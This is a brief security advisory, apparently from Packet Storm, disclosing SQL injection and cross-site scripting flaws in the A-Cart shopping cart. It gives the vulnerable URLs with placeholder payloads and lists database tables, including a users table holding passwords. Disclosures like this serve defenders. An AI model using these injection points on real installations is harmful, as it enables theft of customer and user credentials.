A-Cart suffers from SQL injection and cross site scripting vulnerabilities.
cb75507325e96c684b11b7e0a8705bf5__________________________
A R I A - S E C U R I T Y
___________________________
A-Cart SQL Injection And Cross-Site Scripting
http://alanward.net
Cross Site Scripting:
http://localhost/path/error.asp?msg=XSS
SQL Injection:
http://localhost/path/product.asp?productid=' SQL COMMAND
Table Names are:
categories
customers
orderitems
orders
products
users (username,fullname,password,privileges)
Credits Goes To Aria-Security Team
http://Aria-Security.Net
The-0utl4w
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!